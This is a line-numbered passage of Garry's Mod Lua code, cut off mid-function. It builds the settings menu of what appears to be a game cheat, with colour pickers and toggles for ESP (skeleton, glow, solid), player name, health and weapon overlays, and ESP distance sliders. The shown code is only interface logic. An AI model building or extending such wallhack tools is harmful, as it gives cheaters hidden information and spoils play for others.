4691OptionsColorPink:SetPos( 158,20 )
4692OptionsColorPink:SetSize( 20, 20 )
4693OptionsColorPink:SetText( " " )
4694OptionsColorPink.Paint = function( self, w, h )
4695if self:IsHovered() then
4696draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
4697surface.SetDrawColor(255, 255, 255 ,100)
4698surface.DrawOutlinedRect(0, 0, w, h)
4699else
4700draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
4701surface.SetDrawColor(255, 255, 255 ,100)
4702surface.DrawOutlinedRect(0, 0, w, h)
4703end
4704OptionsColorPink.DoClick = function()
4705LocalPlayer():ConCommand("fiji_principal_color 255")
4706LocalPlayer():ConCommand("fiji_secondary_color 0")
4707LocalPlayer():ConCommand("fiji_third_color 250")
4708surface.PlaySound( fiji_pityhover )
4709
4710end
4711end
4712local OptionsColorWhite = vgui.Create( "DButton", pPcolor )
4713OptionsColorWhite:SetPos( 180,20 )
4714OptionsColorWhite:SetSize( 20, 20 )
4715OptionsColorWhite:SetText( " " )
4716OptionsColorWhite.Paint = function( self, w, h )
4717if self:IsHovered() then
4718draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
4719surface.SetDrawColor(255, 255, 255 ,100)
4720surface.DrawOutlinedRect(0, 0, w, h)
4721else
4722draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
4723surface.SetDrawColor(255, 255, 255 ,100)
4724surface.DrawOutlinedRect(0, 0, w, h)
4725end
4726OptionsColorWhite.DoClick = function()
4727LocalPlayer():ConCommand("fiji_principal_color 255")
4728LocalPlayer():ConCommand("fiji_secondary_color 255")
4729LocalPlayer():ConCommand("fiji_third_color 255")
4730surface.PlaySound( fiji_pityhover )
4731
4732end
4733end
4734--[[if fiji_vision_type:GetInt() == 2 then
4735local pPcolornot = vgui.Create( "DPanel", pContent )
4736pPcolornot:SetSize( 238, 50 )
4737pPcolornot:SetPos( 151, 230 )
4738function pPcolornot:Paint( w, h )
4739DrawBlur(self, 5)
4740surface.SetDrawColor( 200,200,200,255 )
4741surface.DrawOutlinedRect( 0, 0, w, h )
4742draw.RoundedBox( 0, 0, 0, w, h, Color( 40,40,40, 180 ) )
4743draw.SimpleText( "SOLID : Configuration non-disponnible", "pity_home5", 11, 25, color_white, 0, 1 )
4744end
4745end]]
4746local pPcolor2 = vgui.Create( "DPanel", pContent )
4747pPcolor2:SetSize( 205, 50 )
4748pPcolor2:SetPos( 33, 298 )
4749function pPcolor2:Paint( w, h )
4750draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4751draw.SimpleText( "Couleur Infos", "pity_home5", 70, 8, color_white, 0, 1 )
4752end
4753local OptionsColorRed2 = vgui.Create( "DButton", pPcolor2 )
4754OptionsColorRed2:SetPos( 4,20 )
4755OptionsColorRed2:SetSize( 20, 20 )
4756OptionsColorRed2:SetText( " " )
4757OptionsColorRed2.Paint = function( self, w, h )
4758if self:IsHovered() then
4759draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4760surface.SetDrawColor(255, 255, 255 ,100)
4761surface.DrawOutlinedRect(0, 0, w, h)
4762else
4763draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4764surface.SetDrawColor(255, 255, 255 ,100)
4765surface.DrawOutlinedRect(0, 0, w, h)
4766end
4767OptionsColorRed2.DoClick = function()
4768LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4769LocalPlayer():ConCommand("fiji_secondary_color_infos 50")
4770LocalPlayer():ConCommand("fiji_third_color_infos 50")
4771surface.PlaySound( fiji_pityhover )
4772
4773end
4774end
4775local OptionsColorOrange2 = vgui.Create( "DButton", pPcolor2 )
4776OptionsColorOrange2:SetPos( 26,20 )
4777OptionsColorOrange2:SetSize( 20, 20 )
4778OptionsColorOrange2:SetText( " " )
4779OptionsColorOrange2.Paint = function( self, w, h )
4780if self:IsHovered() then
4781draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4782surface.SetDrawColor(255, 255, 255 ,100)
4783surface.DrawOutlinedRect(0, 0, w, h)
4784else
4785draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4786surface.SetDrawColor(255, 255, 255 ,100)
4787surface.DrawOutlinedRect(0, 0, w, h)
4788end
4789OptionsColorOrange2.DoClick = function()
4790LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4791LocalPlayer():ConCommand("fiji_secondary_color_infos 165")
4792LocalPlayer():ConCommand("fiji_third_color_infos 56")
4793surface.PlaySound( fiji_pityhover )
4794
4795end
4796end
4797local OptionsColorYellow2 = vgui.Create( "DButton", pPcolor2 )
4798OptionsColorYellow2:SetPos( 48,20 )
4799OptionsColorYellow2:SetSize( 20, 20 )
4800OptionsColorYellow2:SetText( " " )
4801OptionsColorYellow2.Paint = function( self, w, h )
4802if self:IsHovered() then
4803draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
4804surface.SetDrawColor(255, 255, 255 ,100)
4805surface.DrawOutlinedRect(0, 0, w, h)
4806else
4807draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
4808surface.SetDrawColor(255, 255, 255 ,100)
4809surface.DrawOutlinedRect(0, 0, w, h)
4810end
4811OptionsColorYellow2.DoClick = function()
4812LocalPlayer():ConCommand("fiji_principal_color_infos 196")
4813LocalPlayer():ConCommand("fiji_secondary_color_infos 192")
4814LocalPlayer():ConCommand("fiji_third_color_infos 0")
4815surface.PlaySound( fiji_pityhover )
4816
4817end
4818end
4819local OptionsColorGreen2 = vgui.Create( "DButton", pPcolor2 )
4820OptionsColorGreen2:SetPos( 70,20 )
4821OptionsColorGreen2:SetSize( 20, 20 )
4822OptionsColorGreen2:SetText( " " )
4823OptionsColorGreen2.Paint = function( self, w, h )
4824if self:IsHovered() then
4825draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
4826surface.SetDrawColor(255, 255, 255 ,100)
4827surface.DrawOutlinedRect(0, 0, w, h)
4828else
4829draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
4830surface.SetDrawColor(255, 255, 255 ,100)
4831surface.DrawOutlinedRect(0, 0, w, h)
4832end
4833OptionsColorGreen2.DoClick = function()
4834LocalPlayer():ConCommand("fiji_principal_color_infos 3")
4835LocalPlayer():ConCommand("fiji_secondary_color_infos 196")
4836LocalPlayer():ConCommand("fiji_third_color_infos 0")
4837surface.PlaySound( fiji_pityhover )
4838
4839end
4840end
4841local OptionsColorBlue2 = vgui.Create( "DButton", pPcolor2 )
4842OptionsColorBlue2:SetPos( 92,20 )
4843OptionsColorBlue2:SetSize( 20, 20 )
4844OptionsColorBlue2:SetText( " " )
4845OptionsColorBlue2.Paint = function( self, w, h )
4846if self:IsHovered() then
4847draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
4848surface.SetDrawColor(255, 255, 255 ,100)
4849surface.DrawOutlinedRect(0, 0, w, h)
4850else
4851draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
4852surface.SetDrawColor(255, 255, 255 ,100)
4853surface.DrawOutlinedRect(0, 0, w, h)
4854end
4855OptionsColorBlue2.DoClick = function()
4856LocalPlayer():ConCommand("fiji_principal_color_infos 91")
4857LocalPlayer():ConCommand("fiji_secondary_color_infos 96")
4858LocalPlayer():ConCommand("fiji_third_color_infos 255")
4859surface.PlaySound( fiji_pityhover )
4860
4861end
4862end
4863local OptionsColorSeaBlue2 = vgui.Create( "DButton", pPcolor2 )
4864OptionsColorSeaBlue2:SetPos( 114,20 )
4865OptionsColorSeaBlue2:SetSize( 20, 20 )
4866OptionsColorSeaBlue2:SetText( " " )
4867OptionsColorSeaBlue2.Paint = function( self, w, h )
4868if self:IsHovered() then
4869draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
4870surface.SetDrawColor(255, 255, 255 ,100)
4871surface.DrawOutlinedRect(0, 0, w, h)
4872else
4873draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
4874surface.SetDrawColor(255, 255, 255 ,100)
4875surface.DrawOutlinedRect(0, 0, w, h)
4876end
4877OptionsColorSeaBlue2.DoClick = function()
4878LocalPlayer():ConCommand("fiji_principal_color_infos 81")
4879LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
4880LocalPlayer():ConCommand("fiji_third_color_infos 246")
4881surface.PlaySound( fiji_pityhover )
4882
4883end
4884end
4885local OptionsColorPurple2 = vgui.Create( "DButton", pPcolor2 )
4886OptionsColorPurple2:SetPos( 136,20 )
4887OptionsColorPurple2:SetSize( 20, 20 )
4888OptionsColorPurple2:SetText( " " )
4889OptionsColorPurple2.Paint = function( self, w, h )
4890if self:IsHovered() then
4891draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
4892surface.SetDrawColor(255, 255, 255 ,100)
4893surface.DrawOutlinedRect(0, 0, w, h)
4894else
4895draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
4896surface.SetDrawColor(255, 255, 255 ,100)
4897surface.DrawOutlinedRect(0, 0, w, h)
4898end
4899OptionsColorPurple2.DoClick = function()
4900LocalPlayer():ConCommand("fiji_principal_color_infos 147")
4901LocalPlayer():ConCommand("fiji_secondary_color_infos 76")
4902LocalPlayer():ConCommand("fiji_third_color_infos 255")
4903surface.PlaySound( fiji_pityhover )
4904
4905end
4906end
4907local OptionsColorPink2 = vgui.Create( "DButton", pPcolor2 )
4908OptionsColorPink2:SetPos( 158,20 )
4909OptionsColorPink2:SetSize( 20, 20 )
4910OptionsColorPink2:SetText( " " )
4911OptionsColorPink2.Paint = function( self, w, h )
4912if self:IsHovered() then
4913draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
4914surface.SetDrawColor(255, 255, 255 ,100)
4915surface.DrawOutlinedRect(0, 0, w, h)
4916else
4917draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
4918surface.SetDrawColor(255, 255, 255 ,100)
4919surface.DrawOutlinedRect(0, 0, w, h)
4920end
4921OptionsColorPink2.DoClick = function()
4922LocalPlayer():ConCommand("fiji_principal_color_infos 252")
4923LocalPlayer():ConCommand("fiji_secondary_color_infos 96")
4924LocalPlayer():ConCommand("fiji_third_color_infos 255")
4925surface.PlaySound( fiji_pityhover )
4926
4927end
4928end
4929local OptionsColorWhite2 = vgui.Create( "DButton", pPcolor2 )
4930OptionsColorWhite2:SetPos( 180,20 )
4931OptionsColorWhite2:SetSize( 20, 20 )
4932OptionsColorWhite2:SetText( " " )
4933OptionsColorWhite2.Paint = function( self, w, h )
4934if self:IsHovered() then
4935draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
4936surface.SetDrawColor(255, 255, 255 ,100)
4937surface.DrawOutlinedRect(0, 0, w, h)
4938else
4939draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
4940surface.SetDrawColor(255, 255, 255 ,100)
4941surface.DrawOutlinedRect(0, 0, w, h)
4942end
4943OptionsColorWhite2.DoClick = function()
4944LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4945LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
4946LocalPlayer():ConCommand("fiji_third_color_infos 255")
4947surface.PlaySound( fiji_pityhover )
4948
4949end
4950end
4951
4952
4953local pPcolor4 = vgui.Create( "DPanel", pContent )
4954pPcolor4:SetSize( 205, 50 )
4955pPcolor4:SetPos( 297, 316 )
4956function pPcolor4:Paint( w, h )
4957draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4958draw.SimpleText( "Couleur Props", "pity_home5", 70, 8, color_white, 0, 1 )
4959end
4960local OptionsColorRed3 = vgui.Create( "DButton", pPcolor4 )
4961OptionsColorRed3:SetPos( 4,20 )
4962OptionsColorRed3:SetSize( 20, 20 )
4963OptionsColorRed3:SetText( " " )
4964OptionsColorRed3.Paint = function( self, w, h )
4965if self:IsHovered() then
4966draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4967surface.SetDrawColor(255, 255, 255 ,100)
4968surface.DrawOutlinedRect(0, 0, w, h)
4969else
4970draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4971surface.SetDrawColor(255, 255, 255 ,100)
4972surface.DrawOutlinedRect(0, 0, w, h)
4973end
4974OptionsColorRed3.DoClick = function()
4975LocalPlayer():ConCommand("fiji_principal_color_props 255")
4976LocalPlayer():ConCommand("fiji_secondary_color_props 50")
4977LocalPlayer():ConCommand("fiji_third_color_props 50")
4978surface.PlaySound( fiji_pityhover )
4979
4980end
4981end
4982local OptionsColorOrange3 = vgui.Create( "DButton", pPcolor4 )
4983OptionsColorOrange3:SetPos( 26,20 )
4984OptionsColorOrange3:SetSize( 20, 20 )
4985OptionsColorOrange3:SetText( " " )
4986OptionsColorOrange3.Paint = function( self, w, h )
4987if self:IsHovered() then
4988draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4989surface.SetDrawColor(255, 255, 255 ,100)
4990surface.DrawOutlinedRect(0, 0, w, h)
4991else
4992draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4993surface.SetDrawColor(255, 255, 255 ,100)
4994surface.DrawOutlinedRect(0, 0, w, h)
4995end
4996OptionsColorOrange3.DoClick = function()
4997LocalPlayer():ConCommand("fiji_principal_color_props 255")
4998LocalPlayer():ConCommand("fiji_secondary_color_props 165")
4999LocalPlayer():ConCommand("fiji_third_color_props 56")
5000surface.PlaySound( fiji_pityhover )
5001
5002end
5003end
5004local OptionsColorYellow3 = vgui.Create( "DButton", pPcolor4 )
5005OptionsColorYellow3:SetPos( 48,20 )
5006OptionsColorYellow3:SetSize( 20, 20 )
5007OptionsColorYellow3:SetText( " " )
5008OptionsColorYellow3.Paint = function( self, w, h )
5009if self:IsHovered() then
5010draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
5011surface.SetDrawColor(255, 255, 255 ,100)
5012surface.DrawOutlinedRect(0, 0, w, h)
5013else
5014draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
5015surface.SetDrawColor(255, 255, 255 ,100)
5016surface.DrawOutlinedRect(0, 0, w, h)
5017end
5018OptionsColorYellow3.DoClick = function()
5019LocalPlayer():ConCommand("fiji_principal_color_props 196")
5020LocalPlayer():ConCommand("fiji_secondary_color_props 192")
5021LocalPlayer():ConCommand("fiji_third_color_props 0")
5022surface.PlaySound( fiji_pityhover )
5023
5024end
5025end
5026local OptionsColorGreen3 = vgui.Create( "DButton", pPcolor4 )
5027OptionsColorGreen3:SetPos( 70,20 )
5028OptionsColorGreen3:SetSize( 20, 20 )
5029OptionsColorGreen3:SetText( " " )
5030OptionsColorGreen3.Paint = function( self, w, h )
5031if self:IsHovered() then
5032draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
5033surface.SetDrawColor(255, 255, 255 ,100)
5034surface.DrawOutlinedRect(0, 0, w, h)
5035else
5036draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
5037surface.SetDrawColor(255, 255, 255 ,100)
5038surface.DrawOutlinedRect(0, 0, w, h)
5039end
5040OptionsColorGreen3.DoClick = function()
5041LocalPlayer():ConCommand("fiji_principal_color_props 3")
5042LocalPlayer():ConCommand("fiji_secondary_color_props 196")
5043LocalPlayer():ConCommand("fiji_third_color_props 0")
5044surface.PlaySound( fiji_pityhover )
5045
5046end
5047end
5048local OptionsColorBlue3 = vgui.Create( "DButton", pPcolor4 )
5049OptionsColorBlue3:SetPos( 92,20 )
5050OptionsColorBlue3:SetSize( 20, 20 )
5051OptionsColorBlue3:SetText( " " )
5052OptionsColorBlue3.Paint = function( self, w, h )
5053if self:IsHovered() then
5054draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
5055surface.SetDrawColor(255, 255, 255 ,100)
5056surface.DrawOutlinedRect(0, 0, w, h)
5057else
5058draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
5059surface.SetDrawColor(255, 255, 255 ,100)
5060surface.DrawOutlinedRect(0, 0, w, h)
5061end
5062OptionsColorBlue3.DoClick = function()
5063LocalPlayer():ConCommand("fiji_principal_color_props 91")
5064LocalPlayer():ConCommand("fiji_secondary_color_props 96")
5065LocalPlayer():ConCommand("fiji_third_color_props 255")
5066surface.PlaySound( fiji_pityhover )
5067
5068end
5069end
5070local OptionsColorSeaBlue3 = vgui.Create( "DButton", pPcolor4 )
5071OptionsColorSeaBlue3:SetPos( 114,20 )
5072OptionsColorSeaBlue3:SetSize( 20, 20 )
5073OptionsColorSeaBlue3:SetText( " " )
5074OptionsColorSeaBlue3.Paint = function( self, w, h )
5075if self:IsHovered() then
5076draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
5077surface.SetDrawColor(255, 255, 255 ,100)
5078surface.DrawOutlinedRect(0, 0, w, h)
5079else
5080draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
5081surface.SetDrawColor(255, 255, 255 ,100)
5082surface.DrawOutlinedRect(0, 0, w, h)
5083end
5084OptionsColorSeaBlue3.DoClick = function()
5085LocalPlayer():ConCommand("fiji_principal_color_props 81")
5086LocalPlayer():ConCommand("fiji_secondary_color_props 255")
5087LocalPlayer():ConCommand("fiji_third_color_props 246")
5088surface.PlaySound( fiji_pityhover )
5089
5090end
5091end
5092local OptionsColorPurple3 = vgui.Create( "DButton", pPcolor4 )
5093OptionsColorPurple3:SetPos( 136,20 )
5094OptionsColorPurple3:SetSize( 20, 20 )
5095OptionsColorPurple3:SetText( " " )
5096OptionsColorPurple3.Paint = function( self, w, h )
5097if self:IsHovered() then
5098draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
5099surface.SetDrawColor(255, 255, 255 ,100)
5100surface.DrawOutlinedRect(0, 0, w, h)
5101else
5102draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
5103surface.SetDrawColor(255, 255, 255 ,100)
5104surface.DrawOutlinedRect(0, 0, w, h)
5105end
5106OptionsColorPurple3.DoClick = function()
5107LocalPlayer():ConCommand("fiji_principal_color_props 147")
5108LocalPlayer():ConCommand("fiji_secondary_color_props 76")
5109LocalPlayer():ConCommand("fiji_third_color_props 255")
5110surface.PlaySound( fiji_pityhover )
5111
5112end
5113end
5114local OptionsColorPink3 = vgui.Create( "DButton", pPcolor4 )
5115OptionsColorPink3:SetPos( 158,20 )
5116OptionsColorPink3:SetSize( 20, 20 )
5117OptionsColorPink3:SetText( " " )
5118OptionsColorPink3.Paint = function( self, w, h )
5119if self:IsHovered() then
5120draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
5121surface.SetDrawColor(255, 255, 255 ,100)
5122surface.DrawOutlinedRect(0, 0, w, h)
5123else
5124draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
5125surface.SetDrawColor(255, 255, 255 ,100)
5126surface.DrawOutlinedRect(0, 0, w, h)
5127end
5128OptionsColorPink3.DoClick = function()
5129LocalPlayer():ConCommand("fiji_principal_color_props 252")
5130LocalPlayer():ConCommand("fiji_secondary_color_props 96")
5131LocalPlayer():ConCommand("fiji_third_color_props 255")
5132surface.PlaySound( fiji_pityhover )
5133
5134end
5135end
5136local OptionsColorWhite3 = vgui.Create( "DButton", pPcolor4 )
5137OptionsColorWhite3:SetPos( 180,20 )
5138OptionsColorWhite3:SetSize( 20, 20 )
5139OptionsColorWhite3:SetText( " " )
5140OptionsColorWhite3.Paint = function( self, w, h )
5141if self:IsHovered() then
5142draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
5143surface.SetDrawColor(255, 255, 255 ,100)
5144surface.DrawOutlinedRect(0, 0, w, h)
5145else
5146draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
5147surface.SetDrawColor(255, 255, 255 ,100)
5148surface.DrawOutlinedRect(0, 0, w, h)
5149end
5150OptionsColorWhite3.DoClick = function()
5151LocalPlayer():ConCommand("fiji_principal_color_props 255")
5152LocalPlayer():ConCommand("fiji_secondary_color_props 255")
5153LocalPlayer():ConCommand("fiji_third_color_props 255")
5154surface.PlaySound( fiji_pityhover )
5155
5156end
5157end
5158
5159
5160
5161
5162local btnSolid = BD:CreateBtn( "SOLID", 103, 73, 65, 25, pContent )
5163function btnSolid:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_type:GetInt() == 2 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 2 ) end end
5164function btnSolid:Think() if fiji_vision_type:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
5165
5166local btnActive = BD:CreateBtn( "Activé", 103, 43, 65, 25, pContent )
5167function btnActive:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable", 0 ) else RunConsoleCommand( "BD_hitman_enable", 1 ) end end
5168function btnActive:Think() if fiji_vision_enable:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5169
5170local btnPropsActive = BD:CreateBtn( "Activé", 368, 232, 65, 25, pContent )
5171function btnPropsActive:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable_props:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable_props", 0 ) else RunConsoleCommand( "BD_hitman_enable_props", 1 ) end end
5172function btnPropsActive:Think() if fiji_vision_enable_props:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5173
5174local btnSquelette = BD:CreateBtn( "SQUELETTE", 33, 73, 65, 25, pContent )
5175function btnSquelette:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_type:GetInt() == 1 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 1 ) end end
5176function btnSquelette:Think() if fiji_vision_type:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5177
5178local btnGlow = BD:CreateBtn( "GLOW", 173, 73, 65, 25, pContent )
5179function btnGlow:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_type:GetInt() == 3 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 3 ) end end
5180function btnGlow:Think() if fiji_vision_type:GetInt() == 3 then self.activebtn = true else self.activebtn = false end end
5181
5182local btnEntiterActive = BD:CreateBtn( "Activé", 335, 35, 65, 25, pContent )
5183function btnEntiterActive:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable_ent:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable_ent", 0 ) else RunConsoleCommand( "BD_hitman_enable_ent", 1 ) end end
5184function btnEntiterActive:Think() if fiji_vision_enable_ent:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5185
5186local btnEntitermenu = BD:CreateBtn( "Menu", 403, 35, 65, 25, pContent )
5187function btnEntitermenu:DoClick() surface.PlaySound( fiji_pityclick ) LocalPlayer():ConCommand("fiji_espent") end
5188
5189local btnEntiterhalo = BD:CreateBtn( "Glow", 335, 135, 65, 25, pContent )
5190function btnEntiterhalo:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable_enthalo:GetInt() == 1 then RunConsoleCommand( "fiji_vision_enable_enthalo", 0 ) else RunConsoleCommand( "fiji_vision_enable_enthalo", 1 ) end end
5191function btnEntiterhalo:Think() if fiji_vision_enable_enthalo:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5192
5193local btnEntiterhalo = BD:CreateBtn( "Texte", 403, 135, 65, 25, pContent )
5194function btnEntiterhalo:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable_enttext:GetInt() == 1 then RunConsoleCommand( "fiji_vision_enable_enttext", 0 ) else RunConsoleCommand( "fiji_vision_enable_enttext", 1 ) end end
5195function btnEntiterhalo:Think() if fiji_vision_enable_enttext:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5196
5197local btnWeapon = BD:CreateBtn( "ARMES", 33, 103, 65, 25, pContent )
5198function btnWeapon:DoClick()
5199surface.PlaySound( fiji_pityclick )
5200if fiji_vision_infos_weapons:GetInt() == 1 then
5201RunConsoleCommand( 'BD_hitman_infos_weapons', 0 )
5202else
5203RunConsoleCommand( 'BD_hitman_infos_weapons', 1 )
5204end
5205end
5206function btnWeapon:Think() if fiji_vision_infos_weapons:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5207
5208local btnName = BD:CreateBtn( "NOM", 103, 103, 65, 25, pContent )
5209function btnName:DoClick()
5210surface.PlaySound( fiji_pityclick )
5211if fiji_vision_infos_name:GetInt() == 1 then
5212RunConsoleCommand( 'BD_hitman_infos_name', 0 )
5213else
5214RunConsoleCommand( 'BD_hitman_infos_name', 1 )
5215end
5216end
5217function btnName:Think() if fiji_vision_infos_name:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5218
5219local btnHealth = BD:CreateBtn( "SANTÉ", 173, 103, 65, 25, pContent )
5220function btnHealth:DoClick()
5221surface.PlaySound( fiji_pityclick )
5222if fiji_vision_infos_health:GetInt() == 1 then
5223RunConsoleCommand( 'BD_hitman_infos_health', 0 )
5224else
5225RunConsoleCommand( 'BD_hitman_infos_health', 1 )
5226end
5227end
5228function btnHealth:Think() if fiji_vision_infos_health:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5229
5230local pP = vgui.Create( "DPanel", pContent )
5231pP:SetSize( 205, 50 )
5232pP:SetPos( 33, 133 )
5233function pP:Paint( w, h )
5234draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5235draw.SimpleText( "DISTANCE ESP", "pity_home5", 10, h / 2, color_white, 0, 1 )
5236end
5237
5238local pP2 = vgui.Create( "DPanel", pContent )
5239pP2:SetSize( 205, 50 )
5240pP2:SetPos( 33, 188 )
5241function pP2:Paint( w, h )
5242draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5243draw.SimpleText( "DISTANCE INFOS", "pity_home5", 10, h / 2, color_white, 0, 1 )
5244end
5245local pP3 = vgui.Create( "DPanel", pContent )
5246pP3:SetSize( 205, 50 )
5247pP3:SetPos( 297, 64 )
5248function pP3:Paint( w, h )
5249draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5250draw.SimpleText( "DISTANCE ENT", "pity_home5", 10, h / 2, color_white, 0, 1 )
5251end
5252local pP4 = vgui.Create( "DPanel", pContent )
5253pP4:SetSize( 205, 50 )
5254pP4:SetPos( 297, 261 )
5255function pP4:Paint( w, h )
5256draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5257draw.SimpleText( "DISTANCE PROPS", "pity_home5", 10, h / 2, color_white, 0, 1 )
5258end
5259local TextEsp = vgui.Create( "DPanel", pContent )
5260TextEsp:SetSize(100,30)
5261TextEsp:SetPos(220,355)
5262TextEsp.Paint = function( self, w, h )
5263draw.RoundedBox( 0, 0, 0, w, h, Color( 255,110,110, 0 ) )
5264end
5265
5266local pDistanceA = vgui.Create( "DNumSlider", pContent )
5267pDistanceA:SetPos( 68, 188 )
5268pDistanceA:SetSize( 180, 50 )
5269pDistanceA:SetText( "" )
5270pDistanceA:SetMin( 120 )
5271pDistanceA:SetMax( 2000 )
5272pDistanceA:SetDecimals( 0 )
5273pDistanceA:SetValue( fiji_vision_distance_infos:GetInt() or 200 )
5274pDistanceA.Scratch:SetVisible( false )
5275pDistanceA.TextArea:SetTextColor( color_white )
5276function pDistanceA.Slider:Paint(w, h)
5277surface.SetDrawColor(0, 0, 0, 255)
5278surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5279if fiji_style_menu:GetInt() == 2 then
5280surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5281surface.DrawRect(0, 21, barw, h / 5)
5282
5283elseif fiji_style_menu:GetInt() == 1 then
5284surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5285surface.DrawRect(0, 21, barw, h / 5)
5286
5287else
5288surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5289surface.DrawRect(0, 21, barw, h / 5)
5290end
5291end
5292function pDistanceA:SetHeight(tall)
5293self.Slider.Knob:SetHeight(tall / 2 + 4)
5294DSlider.SetHeight(self, tall)
5295pDistanceA.SetTall = pDistanceA.SetHeight
5296pDistanceA.Slider.Knob:SetTall(5)
5297end
5298function pDistanceA.Slider.Knob:Paint(w, h)
5299derma.SkinHook( "Paint", "Button", self, 0, 0 )
5300end
5301function pDistanceA:OnValueChanged( val )
5302RunConsoleCommand( 'BD_hitman_distance_infos', tonumber( self:GetValue() ) )
5303end
5304
5305
5306local pDistance = vgui.Create( "DNumSlider", pContent )
5307pDistance:SetPos( 68, 133 )
5308pDistance:SetSize( 180, 50 )
5309pDistance:SetText( "" )
5310pDistance:SetMin( 120 )
5311pDistance:SetMax( 10000 )
5312pDistance:SetDecimals( 0 )
5313pDistance:SetValue( fiji_vision_distance:GetInt() or 200 )
5314pDistance.Scratch:SetVisible( false )
5315pDistance.TextArea:SetTextColor( color_white )
5316function pDistance:OnValueChanged( val )
5317RunConsoleCommand( 'BD_hitman_distance', tonumber( self:GetValue() ) )
5318end
5319function pDistance.Slider:Paint(w, h)
5320surface.SetDrawColor(0, 0, 0, 255)
5321surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5322if fiji_style_menu:GetInt() == 2 then
5323surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5324surface.DrawRect(0, 21, barw, h / 5)
5325
5326elseif fiji_style_menu:GetInt() == 1 then
5327surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
